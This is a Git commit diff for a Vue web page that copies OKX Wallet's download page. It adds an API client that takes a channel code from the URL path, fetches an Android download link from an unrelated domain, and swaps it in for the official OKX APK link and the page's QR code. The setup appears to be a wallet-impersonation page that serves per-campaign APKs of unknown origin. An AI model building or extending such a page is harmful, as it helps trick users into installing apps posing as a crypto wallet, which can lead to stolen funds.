Ver código fonte

下载链接获取更新

wuyi 2 meses atrás
pai
commit
28624ca19b
6 arquivos alterados com 135 adições e 21 exclusões
  1. 1 0
      .env
  2. 1 0
      .env.production
  3. 8 0
      env.d.ts
  4. 2 2
      index.html
  5. 48 19
      src/App.vue
  6. 75 0
      src/utils/api.ts

+ 1 - 0
.env

@@ -0,0 +1 @@
+VITE_API_BASE_URL=http://localhost:3000/api

+ 1 - 0
.env.production

@@ -0,0 +1 @@
+VITE_API_BASE_URL=https://taleberm.top/api

+ 8 - 0
env.d.ts

@@ -1 +1,9 @@
 /// <reference types="vite/client" />
+
+interface ImportMetaEnv {
+  readonly VITE_API_BASE_URL: string
+}
+
+interface ImportMeta {
+  readonly env: ImportMetaEnv
+}

+ 2 - 2
index.html

@@ -10,8 +10,8 @@
     <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet" />
     <link rel="preload" as="image" href="https://web3.okx.com/cdn/oksupport/common/Wallet_Hero_Static_Desktop.9f14eec5060dd3.webp" />
-    <link rel="preload" as="video" href="https://web3.okx.com/cdn/oksupport/common/wallet_hero.615cbf6bdfd932.mp4" />
-    <link rel="preload" as="video" href="https://web3.okx.com/cdn/oksupport/common/Web3 Networks_Desktop.8df2280dfda4ca.mp4" />
+    <link rel="preload" as="fetch" href="https://web3.okx.com/cdn/oksupport/common/wallet_hero.615cbf6bdfd932.mp4" />
+    <link rel="preload" as="fetch" href="https://web3.okx.com/cdn/oksupport/common/Web3 Networks_Desktop.8df2280dfda4ca.mp4" />
   </head>
   <body class="bg-okx-black text-okx-text">
     <div id="app"></div>

+ 48 - 19
src/App.vue

@@ -1,11 +1,12 @@
 <script setup lang="ts">
-import { ref, onMounted } from 'vue'
+import { ref, onMounted, type Ref } from 'vue'
 import QRCode from 'qrcode'
 import { DevicePhoneMobileIcon } from '@heroicons/vue/24/outline'
 import * as simpleIcons from 'simple-icons'
 import Header from '@/components/Header.vue'
 import Footer from '@/components/Footer.vue'
 import Accordion from '@/components/Accordion.vue'
+import { apiClient } from '@/utils/api'
 
 // 获取图标数据
 const appleIcon = simpleIcons.siApple
@@ -14,14 +15,54 @@ const androidIcon = simpleIcons.siAndroid
 const showDownloadPopover = ref(false)
 const qrCode = ref('')
 const isMobile = ref(false)
+const isLoading = ref(false)
 let hideTimeout: ReturnType<typeof setTimeout> | null = null
 
 // 下载链接配置
-const downloadLinks = {
+const downloadLinks = ref({
   // Android APK 下载地址
   android: 'https://static.okx.com/upgradeapp/w-android.apk',
   // iOS App Store 链接
   ios: 'https://apps.apple.com/us/app/okx-wallet-portal-to-web3/id6743309484',
+}) as Ref<{ android: string; ios: string }>
+
+// 获取安卓下载链接
+const fetchAndroidDownloadLink = async () => {
+  // 检查是否存在 code
+  if (!apiClient.hasCode()) {
+    return
+  }
+
+  isLoading.value = true
+  try {
+    const androidLink = await apiClient.getAndroidDownloadLink()
+    downloadLinks.value.android = androidLink
+    downloadUrl.value = androidLink
+  } catch (error) {
+    console.error('Get Android Download Link Error:', error)
+  } finally {
+    isLoading.value = false
+  }
+}
+
+// 二维码下载地址
+const downloadUrl = ref(downloadLinks.value.android)
+
+// 生成二维码
+const generateQRCode = async () => {
+  try {
+    const dataUrl = await QRCode.toDataURL(downloadUrl.value, {
+      width: 256,
+      margin: 2,
+      color: {
+        dark: '#000000',
+        light: '#FFFFFF',
+      },
+    })
+    qrCode.value = dataUrl
+  } catch (err) {
+    console.error('Generate QR Code Error:', err)
+  }
 }
 
 // 弹窗显示与隐藏控制
@@ -40,9 +81,6 @@ const handlePopoverLeave = () => {
   }, 200)
 }
 
-// 用于生成二维码的下载地址
-const downloadUrl = downloadLinks.android
-
 const downloadApp = () => {
   // 检测屏幕宽度,判断是否为 PC 端(>= 1024px)
   const isPC = window.innerWidth >= 1024
@@ -57,24 +95,15 @@ const checkMobile = () => {
   isMobile.value = window.innerWidth < 1024
 }
 
-// 生成二维码
 onMounted(async () => {
   checkMobile()
   window.addEventListener('resize', checkMobile)
 
-  try {
-    const dataUrl = await QRCode.toDataURL(downloadUrl, {
-      width: 256,
-      margin: 2,
-      color: {
-        dark: '#000000',
-        light: '#FFFFFF',
-      },
-    })
-    qrCode.value = dataUrl
-  } catch (err) {
-    console.error('生成二维码失败:', err)
-  }
+  // 先获取安卓下载链接
+  await fetchAndroidDownloadLink()
+
+  // 生成二维码
+  await generateQRCode()
 })
 
 const features = [

+ 75 - 0
src/utils/api.ts

@@ -0,0 +1,75 @@
+/**
+ * API 工具类
+ * 用于获取安卓下载链接
+ */
+
+export interface DownloadLinkResponse {
+  url: string
+  code?: string
+  message?: string
+}
+
+export class ApiClient {
+  private baseUrl = import.meta.env.VITE_API_BASE_URL
+
+  /**
+   * 获取 code 参数
+   * @returns code 值
+   */
+  getCodeFromUrl(): string {
+    const pathname = window.location.pathname
+    const segments = pathname.split('/').filter(Boolean)
+    return segments[0] || ''
+  }
+
+  /**
+   * 获取安卓下载链接
+   * @param code
+   * @returns 下载链接
+   */
+  async getAndroidDownloadLink(code?: string): Promise<string> {
+    const channelCode = code || this.getCodeFromUrl()
+
+    if (!channelCode) {
+      throw new Error('Cannot get code parameter')
+    }
+
+    try {
+      const response = await fetch(`${this.baseUrl}/channels/${channelCode}/download`)
+
+      if (!response.ok) {
+        throw new Error(`Request Failed: ${response.status} ${response.statusText}`)
+      }
+
+      const data: DownloadLinkResponse = await response.json()
+
+      if (data.url) {
+        return data.url
+      }
+
+      throw new Error('No download link found in response')
+    } catch (error) {
+      console.error('Get Android Download Link Error:', error)
+      throw error
+    }
+  }
+
+  /**
+   * 检查是否存在 code 参数
+   * @returns 是否存在 code
+   */
+  hasCode(): boolean {
+    return !!this.getCodeFromUrl()
+  }
+
+  /**
+   * 获取当前环境的 code
+   * @returns code 值
+   */
+  getCurrentCode(): string {
+    return this.getCodeFromUrl()
+  }
+}
+
+// 导出单例实例
+export const apiClient = new ApiClient()